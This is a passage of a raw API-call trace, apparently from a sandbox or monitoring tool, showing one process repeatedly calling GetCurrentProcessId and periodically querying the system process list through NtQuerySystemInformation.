GetCurrentProcessId () returned 0xbf4 [0275.665] GetCurrentProcessId () returned 0xbf4 [0275.665] GetCurrentProcessId () returned 0xbf4 [0275.665] GetCurrentProcessId () returned 0xbf4 [0275.665] GetCurrentProcessId () returned 0xbf4 [0275.665] GetCurrentProcessId () returned 0xbf4 [0275.665] GetCurrentProcessId () returned 0xbf4 [0275.665] GetCurrentProcessId () returned 0xbf4 [0275.666] GetCurrentProcessId () returned 0xbf4 [0275.666] GetCurrentProcessId () returned 0xbf4 [0275.666] GetCurrentProcessId () returned 0xbf4 [0275.666] GetCurrentProcessId () returned 0xbf4 [0275.666] GetCurrentProcessId () returned 0xbf4 [0275.666] GetCurrentProcessId () returned 0xbf4 [0275.666] GetCurrentProcessId () returned 0xbf4 [0275.666] GetCurrentProcessId () returned 0xbf4 [0275.666] GetCurrentProcessId () returned 0xbf4 [0275.666] GetCurrentProcessId () returned 0xbf4 [0275.666] GetCurrentProcessId () returned 0xbf4 [0275.666] GetCurrentProcessId () returned 0xbf4 [0275.666] GetCurrentProcessId () returned 0xbf4 [0275.666] GetCurrentProcessId () returned 0xbf4 [0275.666] GetCurrentProcessId () returned 0xbf4 [0275.666] GetCurrentProcessId () returned 0xbf4 [0275.666] GetCurrentProcessId () returned 0xbf4 [0275.666] GetCurrentProcessId () returned 0xbf4 [0275.666] GetCurrentProcessId () returned 0xbf4 [0275.666] GetCurrentProcessId () returned 0xbf4 [0275.666] GetCurrentProcessId () returned 0xbf4 [0275.666] GetCurrentProcessId () returned 0xbf4 [0275.666] GetCurrentProcessId () returned 0xbf4 [0275.666] GetCurrentProcessId () returned 0xbf4 [0275.666] GetCurrentProcessId () returned 0xbf4 [0275.666] GetCurrentProcessId () returned 0xbf4 [0275.666] GetCurrentProcessId () returned 0xbf4 [0275.666] GetCurrentProcessId () returned 0xbf4 [0275.666] GetCurrentProcessId () returned 0xbf4 [0275.666] GetCurrentProcessId () returned 0xbf4 [0275.666] GetCurrentProcessId () returned 0xbf4 [0275.666] GetCurrentProcessId () returned 0xbf4 [0275.666] GetCurrentProcessId () returned 0xbf4 [0275.666] GetCurrentProcessId () returned 0xbf4 [0275.666] GetCurrentProcessId () returned 0xbf4 [0275.666] GetCurrentProcessId () returned 0xbf4 [0275.667] GetCurrentProcessId () returned 0xbf4 [0275.667] GetCurrentProcessId () returned 0xbf4 [0275.667] GetCurrentProcessId () returned 0xbf4 [0275.667] GetCurrentProcessId () returned 0xbf4 [0275.667] GetCurrentProcessId () returned 0xbf4 [0275.667] GetCurrentProcessId () returned 0xbf4 [0275.667] GetCurrentProcessId () returned 0xbf4 [0276.175] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c750) returned 0x0 [0276.181] GetCurrentProcessId () returned 0xbf4 [0276.181] GetCurrentProcessId () returned 0xbf4 [0276.181] GetCurrentProcessId () returned 0xbf4 [0276.181] GetCurrentProcessId () returned 0xbf4 [0276.181] GetCurrentProcessId () returned 0xbf4 [0276.181] GetCurrentProcessId () returned 0xbf4 [0276.181] GetCurrentProcessId () returned 0xbf4 [0276.181] GetCurrentProcessId () returned 0xbf4 [0276.181] GetCurrentProcessId () returned 0xbf4 [0276.181] GetCurrentProcessId () returned 0xbf4 [0276.181] GetCurrentProcessId () returned 0xbf4 [0276.181] GetCurrentProcessId () returned 0xbf4 [0276.181] GetCurrentProcessId () returned 0xbf4 [0276.181] GetCurrentProcessId () returned 0xbf4 [0276.181] GetCurrentProcessId () returned 0xbf4 [0276.181] GetCurrentProcessId () returned 0xbf4 [0276.181] GetCurrentProcessId () returned 0xbf4 [0276.181] GetCurrentProcessId () returned 0xbf4 [0276.181] GetCurrentProcessId () returned 0xbf4 [0276.181] GetCurrentProcessId () returned 0xbf4 [0276.181] GetCurrentProcessId () returned 0xbf4 [0276.181] GetCurrentProcessId () returned 0xbf4 [0276.181] GetCurrentProcessId () returned 0xbf4 [0276.181] GetCurrentProcessId () returned 0xbf4 [0276.182] GetCurrentProcessId () returned 0xbf4 [0276.182] GetCurrentProcessId () returned 0xbf4 [0276.182] GetCurrentProcessId () returned 0xbf4 [0276.182] GetCurrentProcessId () returned 0xbf4 [0276.182] GetCurrentProcessId () returned 0xbf4 [0276.182] GetCurrentProcessId () returned 0xbf4 [0276.182] GetCurrentProcessId () returned 0xbf4 [0276.182] GetCurrentProcessId () returned 0xbf4 [0276.182] GetCurrentProcessId () returned 0xbf4 [0276.182] GetCurrentProcessId () returned 0xbf4 [0276.182] GetCurrentProcessId () returned 0xbf4 [0276.182] GetCurrentProcessId () returned 0xbf4 [0276.182] GetCurrentProcessId () returned 0xbf4 [0276.182] GetCurrentProcessId () returned 0xbf4 [0276.182] GetCurrentProcessId () returned 0xbf4 [0276.182] GetCurrentProcessId () returned 0xbf4 [0276.182] GetCurrentProcessId () returned 0xbf4 [0276.182] GetCurrentProcessId () returned 0xbf4 [0276.182] GetCurrentProcessId () returned 0xbf4 [0276.182] GetCurrentProcessId () returned 0xbf4 [0276.182] GetCurrentProcessId () returned 0xbf4 [0276.182] GetCurrentProcessId () returned 0xbf4 [0276.182] GetCurrentProcessId () returned 0xbf4 [0276.182] GetCurrentProcessId () returned 0xbf4 [0276.182] GetCurrentProcessId () returned 0xbf4 [0276.182] GetCurrentProcessId () returned 0xbf4 [0276.182] GetCurrentProcessId () returned 0xbf4 [0276.182] GetCurrentProcessId () returned 0xbf4 [0276.182] GetCurrentProcessId () returned 0xbf4 [0276.182] GetCurrentProcessId () returned 0xbf4 [0276.182] GetCurrentProcessId () returned 0xbf4 [0276.182] GetCurrentProcessId () returned 0xbf4 [0276.182] GetCurrentProcessId () returned 0xbf4 [0276.183] GetCurrentProcessId () returned 0xbf4 [0276.183] GetCurrentProcessId () returned 0xbf4 [0276.183] GetCurrentProcessId () returned 0xbf4 [0276.183] GetCurrentProcessId () returned 0xbf4 [0276.183] GetCurrentProcessId () returned 0xbf4 [0276.183] GetCurrentProcessId () returned 0xbf4 [0276.183] GetCurrentProcessId () returned 0xbf4 [0276.183] GetCurrentProcessId () returned 0xbf4 [0276.183] GetCurrentProcessId () returned 0xbf4 [0276.183] GetCurrentProcessId () returned 0xbf4 [0276.183] GetCurrentProcessId () returned 0xbf4 [0276.183] GetCurrentProcessId () returned 0xbf4 [0276.183] GetCurrentProcessId () returned 0xbf4 [0276.183] GetCurrentProcessId () returned 0xbf4 [0276.183] GetCurrentProcessId () returned 0xbf4 [0276.183] GetCurrentProcessId () returned 0xbf4 [0276.183] GetCurrentProcessId () returned 0xbf4 [0276.183] GetCurrentProcessId () returned 0xbf4 [0276.183] GetCurrentProcessId () returned 0xbf4 [0276.183] GetCurrentProcessId () returned 0xbf4 [0276.183] GetCurrentProcessId () returned 0xbf4 [0276.183] GetCurrentProcessId () returned 0xbf4 [0276.183] GetCurrentProcessId () returned 0xbf4 [0276.183] GetCurrentProcessId () returned 0xbf4 [0276.183] GetCurrentProcessId () returned 0xbf4 [0276.183] GetCurrentProcessId () returned 0xbf4 [0276.183] GetCurrentProcessId () returned 0xbf4 [0276.183] GetCurrentProcessId () returned 0xbf4 [0276.183] GetCurrentProcessId () returned 0xbf4 [0276.183] GetCurrentProcessId () returned 0xbf4 [0276.183] GetCurrentProcessId () returned 0xbf4 [0276.183] GetCurrentProcessId () returned 0xbf4 [0276.183] GetCurrentProcessId () returned 0xbf4 [0276.183] GetCurrentProcessId () returned 0xbf4 [0276.183] GetCurrentProcessId () returned 0xbf4 [0276.183] GetCurrentProcessId () returned 0xbf4 [0276.183] GetCurrentProcessId () returned 0xbf4 [0276.184] GetCurrentProcessId () returned 0xbf4 [0276.184] GetCurrentProcessId () returned 0xbf4 [0276.184] GetCurrentProcessId () returned 0xbf4 [0276.184] GetCurrentProcessId () returned 0xbf4 [0276.184] GetCurrentProcessId () returned 0xbf4 [0276.184] GetCurrentProcessId () returned 0xbf4 [0276.184] GetCurrentProcessId () returned 0xbf4 [0276.184] GetCurrentProcessId () returned 0xbf4 [0276.184] GetCurrentProcessId () returned 0xbf4 [0276.184] GetCurrentProcessId () returned 0xbf4 [0276.184] GetCurrentProcessId () returned 0xbf4 [0276.184] GetCurrentProcessId () returned 0xbf4 [0276.716] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c750) returned 0x0 [0276.725] GetCurrentProcessId () returned 0xbf4 [0276.726] GetCurrentProcessId () returned 0xbf4 [0276.726] GetCurrentProcessId () returned 0xbf4 [0276.726] GetCurrentProcessId () returned 0xbf4 [0276.726] GetCurrentProcessId () returned 0xbf4 [0276.726] GetCurrentProcessId () returned 0xbf4 [0276.726] GetCurrentProcessId () returned 0xbf4 [0276.726] GetCurrentProcessId () returned 0xbf4 [0276.726] GetCurrentProcessId () returned 0xbf4 [0276.726] GetCurrentProcessId () returned 0xbf4 [0276.726] GetCurrentProcessId () returned 0xbf4 [0276.726] GetCurrentProcessId () returned 0xbf4 [0276.726] GetCurrentProcessId () returned 0xbf4 [0276.726] GetCurrentProcessId () returned 0xbf4 [0276.726] GetCurrentProcessId () returned 0xbf4 [0276.726] GetCurrentProcessId () returned 0xbf4 [0276.726] GetCurrentProcessId () returned 0xbf4 [0276.726] GetCurrentProcessId () returned 0xbf4 [0276.726] GetCurrentProcessId () returned 0xbf4 [0276.726] GetCurrentProcessId () returned 0xbf4 [0276.726] GetCurrentProcessId () returned 0xbf4 [0276.726] GetCurrentProcessId () returned 0xbf4 [0276.726] GetCurrentProcessId () returned 0xbf4 [0276.726] GetCurrentProcessId () returned 0xbf4 [0276.726] GetCurrentProcessId () returned 0xbf4 [0276.726] GetCurrentProcessId () returned 0xbf4 [0276.726] GetCurrentProcessId () returned 0xbf4 [0276.726] GetCurrentProcessId () returned 0xbf4 [0276.726] GetCurrentProcessId () returned 0xbf4 [0276.727] GetCurrentProcessId () returned 0xbf4 [0276.727] GetCurrentProcessId () returned 0xbf4 [0276.727] GetCurrentProcessId () returned 0xbf4 [0276.727] GetCurrentProcessId () returned 0xbf4 [0276.727] GetCurrentProcessId () returned 0xbf4 [0276.727] GetCurrentProcessId () returned 0xbf4 [0276.727] GetCurrentProcessId () returned 0xbf4 [0276.727] GetCurrentProcessId () returned 0xbf4 [0276.727] GetCurrentProcessId () returned 0xbf4 [0276.727] GetCurrentProcessId () returned 0xbf4 [0276.727] GetCurrentProcessId () returned 0xbf4 [0276.727] GetCurrentProcessId () returned 0xbf4 [0276.727] GetCurrentProcessId () returned 0xbf4 [0276.727] GetCurrentProcessId () returned 0xbf4 [0276.727] GetCurrentProcessId () returned 0xbf4 [0276.727] GetCurrentProcessId () returned 0xbf4 [0276.727] GetCurrentProcessId () returned 0xbf4 [0276.727] GetCurrentProcessId () returned 0xbf4 [0276.727] GetCurrentProcessId () returned 0xbf4 [0276.727] GetCurrentProcessId () returned 0xbf4 [0276.727] GetCurrentProcessId () returned 0xbf4 [0276.727] GetCurrentProcessId () returned 0xbf4 [0276.727] GetCurrentProcessId () returned 0xbf4 [0276.727] GetCurrentProcessId () returned 0xbf4 [0276.727] GetCurrentProcessId () returned 0xbf4 [0276.727] GetCurrentProcessId () returned 0xbf4 [0276.727] GetCurrentProcessId () returned 0xbf4 [0276.727] GetCurrentProcessId () returned 0xbf4 [0276.728] GetCurrentProcessId () returned 0xbf4 [0276.728] GetCurrentProcessId () returned 0xbf4 [0276.728] GetCurrentProcessId () returned 0xbf4 [0276.728] GetCurrentProcessId () returned 0xbf4 [0276.728] GetCurrentProcessId () returned 0xbf4 [0276.728] GetCurrentProcessId () returned 0xbf4 [0276.728] GetCurrentProcessId () returned 0xbf4 [0276.728] GetCurrentProcessId () returned 0xbf4 [0276.728] GetCurrentProcessId () returned 0xbf4 [0276.728] GetCurrentProcessId () returned 0xbf4 [0276.728] GetCurrentProcessId () returned 0xbf4 [0276.728] GetCurrentProcessId () returned 0xbf4 [0276.728] GetCurrentProcessId () returned 0xbf4 [0276.728] GetCurrentProcessId () returned 0xbf4 [0276.728] GetCurrentProcessId () returned 0xbf4 [0276.728] GetCurrentProcessId () returned 0xbf4 [0276.728] GetCurrentProcessId () returned 0xbf4 [0276.728] GetCurrentProcessId () returned 0xbf4 [0276.728] GetCurrentProcessId () returned 0xbf4 [0276.728] GetCurrentProcessId () returned 0xbf4 [0276.728] GetCurrentProcessId () returned 0xbf4 [0276.728] GetCurrentProcessId () returned 0xbf4 [0276.728] GetCurrentProcessId () returned 0xbf4 [0276.728] GetCurrentProcessId () returned 0xbf4 [0276.728] GetCurrentProcessId () returned 0xbf4 [0276.728] GetCurrentProcessId () returned 0xbf4 [0276.728] GetCurrentProcessId () returned 0xbf4 [0276.728] GetCurrentProcessId () returned 0xbf4 [0276.729] GetCurrentProcessId () returned 0xbf4 [0276.729] GetCurrentProcessId () returned 0xbf4 [0276.729] GetCurrentProcessId () returned 0xbf4 [0276.729] GetCurrentProcessId () returned 0xbf4 [0276.729] GetCurrentProcessId () returned 0xbf4 [0276.729] GetCurrentProcessId () returned 0xbf4 [0276.729] GetCurrentProcessId () returned 0xbf4 [0276.729] GetCurrentProcessId () returned 0xbf4 [0276.729] GetCurrentProcessId () returned 0xbf4 [0276.729] GetCurrentProcessId () returned 0xbf4 [0276.729] GetCurrentProcessId () returned 0xbf4 [0276.729] GetCurrentProcessId () returned 0xbf4 [0276.729] GetCurrentProcessId () returned 0xbf4 [0276.729] GetCurrentProcessId () returned 0xbf4 [0276.729] GetCurrentProcessId () returned 0xbf4 [0276.729] GetCurrentProcessId () returned 0xbf4 [0276.729] GetCurrentProcessId () returned 0xbf4 [0276.729] GetCurrentProcessId () returned 0xbf4 [0276.729] GetCurrentProcessId () returned 0xbf4 [0276.729] GetCurrentProcessId () returned 0xbf4 [0276.729] GetCurrentProcessId () returned 0xbf4 [0277.253] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c750) returned 0x0 [0277.384] GetCurrentProcessId () returned 0xbf4 [0277.384] GetCurrentProcessId () returned 0xbf4 [0277.384] GetCurrentProcessId () returned 0xbf4 [0277.384] GetCurrentProcessId () returned 0xbf4 [0277.384] GetCurrentProcessId () returned 0xbf4 [0277.384] GetCurrentProcessId () returned 0xbf4 [0277.384] GetCurrentProcessId () returned 0xbf4 [0277.384] GetCurrentProcessId () returned 0xbf4 [0277.385] GetCurrentProcessId () returned 0xbf4 [0277.385] GetCurrentProcessId () returned 0xbf4 [0277.385] GetCurrentProcessId () returned 0xbf4 [0277.385] GetCurrentProcessId () returned 0xbf4 [0277.385] GetCurrentProcessId () returned 0xbf4 [0277.385] GetCurrentProcessId () returned 0xbf4 [0277.385] GetCurrentProcessId () returned 0xbf4 [0277.385] GetCurrentProcessId () returned 0xbf4 [0277.385] GetCurrentProcessId () returned 0xbf4 [0277.385] GetCurrentProcessId () returned 0xbf4 [0277.385] GetCurrentProcessId () returned 0xbf4 [0277.385] GetCurrentProcessId () returned 0xbf4 [0277.385] GetCurrentProcessId () returned 0xbf4 [0277.385] GetCurrentProcessId () returned 0xbf4 [0277.385] GetCurrentProcessId () returned 0xbf4 [0277.385] GetCurrentProcessId () returned 0xbf4 [0277.385] GetCurrentProcessId () returned 0xbf4 [0277.385] GetCurrentProcessId () returned 0xbf4 [0277.385] GetCurrentProcessId () returned 0xbf4 [0277.385] GetCurrentProcessId () returned 0xbf4 [0277.385] GetCurrentProcessId () returned 0xbf4 [0277.385] GetCurrentProcessId () returned 0xbf4 [0277.385] GetCurrentProcessId () returned 0xbf4 [0277.385] GetCurrentProcessId () returned 0xbf4 [0277.385] GetCurrentProcessId () returned 0xbf4 [0277.385] GetCurrentProcessId () returned 0xbf4 [0277.385] GetCurrentProcessId () returned 0xbf4 [0277.385] GetCurrentProcessId () returned 0xbf4 [0277.386] GetCurrentProcessId () returned 0xbf4 [0277.386] GetCurrentProcessId () returned 0xbf4 [0277.386] GetCurrentProcessId () returned 0xbf4 [0277.386] GetCurrentProcessId () returned 0xbf4 [0277.386] GetCurrentProcessId () returned 0xbf4 [0277.386] GetCurrentProcessId () returned 0xbf4 [0277.386] GetCurrentProcessId () returned 0xbf4 [0277.386] GetCurrentProcessId () returned 0xbf4 [0277.386] GetCurrentProcessId () returned 0xbf4 [0277.386] GetCurrentProcessId () returned 0xbf4 [0277.386] GetCurrentProcessId () returned 0xbf4 [0277.386] GetCurrentProcessId () returned 0xbf4 [0277.386] GetCurrentProcessId () returned 0xbf4 [0277.386] GetCurrentProcessId () returned 0xbf4 [0277.386] GetCurrentProcessId () returned 0xbf4 [0277.386] GetCurrentProcessId () returned 0xbf4 [0277.386] GetCurrentProcessId () returned 0xbf4 [0277.386] GetCurrentProcessId () returned 0xbf4 [0277.386] GetCurrentProcessId () returned 0xbf4 [0277.386] GetCurrentProcessId () returned 0xbf4 [0277.386] GetCurrentProcessId () returned 0xbf4 [0277.386] GetCurrentProcessId () returned 0xbf4 [0277.386] GetCurrentProcessId () returned 0xbf4 [0277.386] GetCurrentProcessId () returned 0xbf4 [0277.386] GetCurrentProcessId () returned 0xbf4 [0277.386] GetCurrentProcessId () returned 0xbf4 [0277.386] GetCurrentProcessId () returned 0xbf4 [0277.386] GetCurrentProcessId () returned 0xbf4 [0277.386] GetCurrentProcessId () returned 0xbf4 [0277.386] GetCurrentProcessId () returned 0xbf4 [0277.386] GetCurrentProcessId () returned 0xbf4 [0277.386] GetCurrentProcessId () returned 0xbf4 [0277.386] GetCurrentProcessId () returned 0xbf4 [0277.386] GetCurrentProcessId () returned 0xbf4 [0277.386] GetCurrentProcessId () returned 0xbf4 [0277.386] GetCurrentProcessId () returned 0xbf4 [0277.387] GetCurrentProcessId () returned 0xbf4 [0277.387] GetCurrentProcessId () returned 0xbf4 [0277.387] GetCurrentProcessId () returned 0xbf4 [0277.387] GetCurrentProcessId () returned 0xbf4 [0277.387] GetCurrentProcessId () returned 0xbf4 [0277.387] GetCurrentProcessId () returned 0xbf4 [0277.387] GetCurrentProcessId () returned 0xbf4 [0277.387] GetCurrentProcessId () returned 0xbf4 [0277.387] GetCurrentProcessId () returned 0xbf4 [0277.387] GetCurrentProcessId () returned 0xbf4 [0277.387] GetCurrentProcessId () returned 0xbf4 [0277.387] GetCurrentProcessId () returned 0xbf4 [0277.387] GetCurrentProcessId () returned 0xbf4 [0277.387] GetCurrentProcessId () returned 0xbf4 [0277.387] GetCurrentProcessId () returned 0xbf4 [0277.387] GetCurrentProcessId () returned 0xbf4 [0277.387] GetCurrentProcessId () returned 0xbf4 [0277.387] GetCurrentProcessId () returned 0xbf4 [0277.387] GetCurrentProcessId () returned 0xbf4 [0277.387] GetCurrentProcessId () returned 0xbf4 [0277.387] GetCurrentProcessId () returned 0xbf4 [0277.387] GetCurrentProcessId () returned 0xbf4 [0277.387] GetCurrentProcessId () returned 0xbf4 [0277.387] GetCurrentProcessId () returned 0xbf4 [0277.387] GetCurrentProcessId () returned 0xbf4 [0277.387] GetCurrentProcessId () returned 0xbf4 [0277.387] GetCurrentProcessId () returned 0xbf4 [0277.387] GetCurrentProcessId () returned 0xbf4 [0277.387] GetCurrentProcessId () returned 0xbf4 [0277.387] GetCurrentProcessId () returned 0xbf4 [0277.387] GetCurrentProcessId () returned 0xbf4 [0277.387] GetCurrentProcessId () returned 0xbf4 [0277.387] GetCurrentProcessId () returned 0xbf4 [0277.387] GetCurrentProcessId () returned 0xbf4 [0277.979] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c750) returned 0x0 [0277.993] GetCurrentProcessId () returned 0xbf4 [0277.993] GetCurrentProcessId () returned 0xbf4 [0277.993] GetCurrentProcessId () returned 0xbf4 [0277.993] GetCurrentProcessId () returned 0xbf4 [0277.993] GetCurrentProcessId () returned 0xbf4 [0277.993] GetCurrentProcessId () returned 0xbf4 [0277.993] GetCurrentProcessId () returned 0xbf4 [0277.993] GetCurrentProcessId () returned 0xbf4 [0277.993] GetCurrentProcessId () returned 0xbf4 [0277.993] GetCurrentProcessId () returned 0xbf4 [0277.994] GetCurrentProcessId () returned 0xbf4 [0277.994] GetCurrentProcessId () returned 0xbf4 [0277.994] GetCurrentProcessId () returned 0xbf4 [0277.994] GetCurrentProcessId () returned 0xbf4 [0277.994] GetCurrentProcessId () returned 0xbf4 [0277.994] GetCurrentProcessId () returned 0xbf4 [0277.994] GetCurrentProcessId () returned 0xbf4 [0277.994] GetCurrentProcessId () returned 0xbf4 [0277.994] GetCurrentProcessId () returned 0xbf4 [0277.994] GetCurrentProcessId () returned 0xbf4 [0277.994] GetCurrentProcessId () returned 0xbf4 [0277.994] GetCurrentProcessId () returned 0xbf4 [0277.994] GetCurrentProcessId () returned 0xbf4 [0277.994] GetCurrentProcessId () returned 0xbf4 [0277.994] GetCurrentProcessId () returned 0xbf4 [0277.994] GetCurrentProcessId () returned 0xbf4 [0277.994] GetCurrentProcessId () returned 0xbf4 [0277.994] GetCurrentProcessId () returned 0xbf4 [0277.994] GetCurrentProcessId () returned 0xbf4 [0277.994] GetCurrentProcessId () returned 0xbf4 [0277.994] GetCurrentProcessId () returned 0xbf4 [0277.995] GetCurrentProcessId () returned 0xbf4 [0277.995] GetCurrentProcessId () returned 0xbf4 [0277.995] GetCurrentProcessId () returned 0xbf4 [0277.995] GetCurrentProcessId () returned 0xbf4 [0277.995] GetCurrentProcessId () returned 0xbf4 [0277.995] GetCurrentProcessId () returned 0xbf4 [0277.995] GetCurrentProcessId () returned 0xbf4 [0277.995] GetCurrentProcessId () returned 0xbf4 [0277.995] GetCurrentProcessId () returned 0xbf4 [0277.995] GetCurrentProcessId () returned 0xbf4 [0277.995] GetCurrentProcessId () returned 0xbf4 [0277.995] GetCurrentProcessId () returned 0xbf4 [0277.995] GetCurrentProcessId () returned 0xbf4 [0277.995] GetCurrentProcessId () returned 0xbf4 [0277.995] GetCurrentProcessId () returned 0xbf4 [0277.995] GetCurrentProcessId () returned 0xbf4 [0277.995] GetCurrentProcessId () returned 0xbf4 [0277.995] GetCurrentProcessId () returned 0xbf4 [0277.995] GetCurrentProcessId () returned 0xbf4 [0277.995] GetCurrentProcessId () returned 0xbf4 [0277.995] GetCurrentProcessId () returned 0xbf4 [0277.995] GetCurrentProcessId () returned 0xbf4 [0277.995] GetCurrentProcessId () returned 0xbf4 [0277.995] GetCurrentProcessId () returned 0xbf4 [0277.995] GetCurrentProcessId () returned 0xbf4 [0277.995] GetCurrentProcessId () returned 0xbf4 [0277.995] GetCurrentProcessId () returned 0xbf4 [0277.995] GetCurrentProcessId () returned 0xbf4 [0277.996] GetCurrentProcessId () returned 0xbf4 [0277.996] GetCurrentProcessId () returned 0xbf4 [0277.996] GetCurrentProcessId () returned 0xbf4 [0277.996] GetCurrentProcessId () returned 0xbf4 [0277.996] GetCurrentProcessId () returned 0xbf4 [0277.996] GetCurrentProcessId () returned 0xbf4 [0277.996] GetCurrentProcessId () returned 0xbf4 [0277.996] GetCurrentProcessId () returned 0xbf4 [0277.996] GetCurrentProcessId () returned 0xbf4 [0277.996] GetCurrentProcessId () returned 0xbf4 [0277.996] GetCurrentProcessId () returned 0xbf4 [0277.996] GetCurrentProcessId () returned 0xbf4 [0277.996] GetCurrentProcessId () returned 0xbf4 [0277.996] GetCurrentProcessId () returned 0xbf4 [0277.996] GetCurrentProcessId () returned 0xbf4 [0277.996] GetCurrentProcessId () returned 0xbf4 [0277.996] GetCurrentProcessId () returned 0xbf4 [0277.996] GetCurrentProcessId () returned 0xbf4 [0277.996] GetCurrentProcessId () returned 0xbf4 [0277.996] GetCurrentProcessId () returned 0xbf4 [0277.996] GetCurrentProcessId () returned 0xbf4 [0277.996] GetCurrentProcessId () returned 0xbf4 [0277.996] GetCurrentProcessId () returned 0xbf4 [0277.996] GetCurrentProcessId () returned 0xbf4 [0277.996] GetCurrentProcessId () returned 0xbf4 [0277.996] GetCurrentProcessId () returned 0xbf4 [0277.996] GetCurrentProcessId () returned 0xbf4 [0277.997] GetCurrentProcessId () returned 0xbf4 [0277.997] GetCurrentProcessId () returned 0xbf4 [0277.997] GetCurrentProcessId () returned 0xbf4 [0277.997] GetCurrentProcessId () returned 0xbf4 [0277.997] GetCurrentProcessId () returned 0xbf4 [0277.997] GetCurrentProcessId () returned 0xbf4 [0277.997] GetCurrentProcessId () returned 0xbf4 [0277.997] GetCurrentProcessId () returned 0xbf4 [0277.997] GetCurrentProcessId () returned 0xbf4 [0277.997] GetCurrentProcessId () returned 0xbf4 [0277.997] GetCurrentProcessId () returned 0xbf4 [0277.997] GetCurrentProcessId () returned 0xbf4 [0277.997] GetCurrentProcessId () returned 0xbf4 [0277.997] GetCurrentProcessId () returned 0xbf4 [0277.997] GetCurrentProcessId () returned 0xbf4 [0277.997] GetCurrentProcessId () returned 0xbf4 [0277.997] GetCurrentProcessId () returned 0xbf4 [0277.997] GetCurrentProcessId () returned 0xbf4 [0277.997] GetCurrentProcessId () returned 0xbf4 [0277.997] GetCurrentProcessId () returned 0xbf4 [0278.551] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c750) returned 0x0 [0278.554] GetCurrentProcessId () returned 0xbf4 [0278.554] GetCurrentProcessId () returned 0xbf4 [0278.554] GetCurrentProcessId () returned 0xbf4 [0278.554] GetCurrentProcessId () returned 0xbf4 [0278.554] GetCurrentProcessId () returned 0xbf4 [0278.554] GetCurrentProcessId () returned 0xbf4 [0278.554] GetCurrentProcessId () returned 0xbf4 [0278.554] GetCurrentProcessId () returned 0xbf4 [0278.554] GetCurrentProcessId () returned 0xbf4 [0278.554] GetCurrentProcessId () returned 0xbf4 [0278.554] GetCurrentProcessId () returned 0xbf4 [0278.554] GetCurrentProcessId () returned 0xbf4 [0278.554] GetCurrentProcessId () returned 0xbf4 [0278.554] GetCurrentProcessId () returned 0xbf4 [0278.554] GetCurrentProcessId () returned 0xbf4 [0278.554] GetCurrentProcessId () returned 0xbf4 [0278.554] GetCurrentProcessId () returned 0xbf4 [0278.554] GetCurrentProcessId () returned 0xbf4 [0278.554] GetCurrentProcessId () returned 0xbf4 [0278.554] GetCurrentProcessId () returned 0xbf4 [0278.554] GetCurrentProcessId () returned 0xbf4 [0278.554] GetCurrentProcessId () returned 0xbf4 [0278.554] GetCurrentProcessId () returned 0xbf4 [0278.554] GetCurrentProcessId () returned 0xbf4 [0278.554] GetCurrentProcessId () returned 0xbf4 [0278.554] GetCurrentProcessId () returned 0xbf4 [0278.554] GetCurrentProcessId () returned 0xbf4 [0278.554] GetCurrentProcessId () returned 0xbf4 [0278.554] GetCurrentProcessId () returned 0xbf4 [0278.554] GetCurrentProcessId () returned 0xbf4 [0278.555] GetCurrentProcessId () returned 0xbf4 [0278.555] GetCurrentProcessId () returned 0xbf4 [0278.555] GetCurrentProcessId () returned 0xbf4 [0278.555] GetCurrentProcessId () returned 0xbf4 [0278.555] GetCurrentProcessId () returned 0xbf4 [0278.555] GetCurrentProcessId () returned 0xbf4 [0278.555] GetCurrentProcessId () returned 0xbf4 [0278.555] GetCurrentProcessId () returned 0xbf4 [0278.555] GetCurrentProcessId () returned 0xbf4 [0278.555] GetCurrentProcessId () returned 0xbf4 [0278.555] GetCurrentProcessId () returned 0xbf4 [0278.555] GetCurrentProcessId () returned 0xbf4 [0278.555] GetCurrentProcessId () returned 0xbf4 [0278.555] GetCurrentProcessId () returned 0xbf4 [0278.555] GetCurrentProcessId () returned 0xbf4 [0278.555] GetCurrentProcessId () returned 0xbf4 [0278.555] GetCurrentProcessId () returned 0xbf4 [0278.555] GetCurrentProcessId () returned 0xbf4 [0278.555] GetCurrentProcessId () returned 0xbf4 [0278.555] GetCurrentProcessId () returned 0xbf4 [0278.555] GetCurrentProcessId () returned 0xbf4 [0278.555] GetCurrentProcessId () returned 0xbf4 [0278.555] GetCurrentProcessId () returned 0xbf4 [0278.555] GetCurrentProcessId () returned 0xbf4 [0278.555] GetCurrentProcessId () returned 0xbf4 [0278.555] GetCurrentProcessId () returned 0xbf4 [0278.555] GetCurrentProcessId () returned 0xbf4 [0278.555] GetCurrentProcessId () returned 0xbf4 [0278.555] GetCurrentProcessId () returned 0xbf4 [0278.555] GetCurrentProcessId () returned 0xbf4 [0278.555] GetCurrentProcessId () returned 0xbf4 [0278.555] GetCurrentProcessId () returned 0xbf4 [0278.555] GetCurrentProcessId () returned 0xbf4 [0278.555] GetCurrentProcessId () returned 0xbf4 [0278.555] GetCurrentProcessId () returned 0xbf4 [0278.556] GetCurrentProcessId () returned 0xbf4 [0278.556] GetCurrentProcessId () returned 0xbf4 [0278.556] GetCurrentProcessId () returned 0xbf4 [0278.556] GetCurrentProcessId () returned 0xbf4 [0278.556] GetCurrentProcessId () returned 0xbf4 [0278.556] GetCurrentProcessId () returned 0xbf4 [0278.556] GetCurrentProcessId () returned 0xbf4 [0278.556] GetCurrentProcessId () returned 0xbf4 [0278.556] GetCurrentProcessId () returned 0xbf4 [0278.556] GetCurrentProcessId () returned 0xbf4 [0278.556] GetCurrentProcessId () returned 0xbf4 [0278.556] GetCurrentProcessId () returned 0xbf4 [0278.556] GetCurrentProcessId () returned 0xbf4 [0278.556] GetCurrentProcessId () returned 0xbf4 [0278.556] 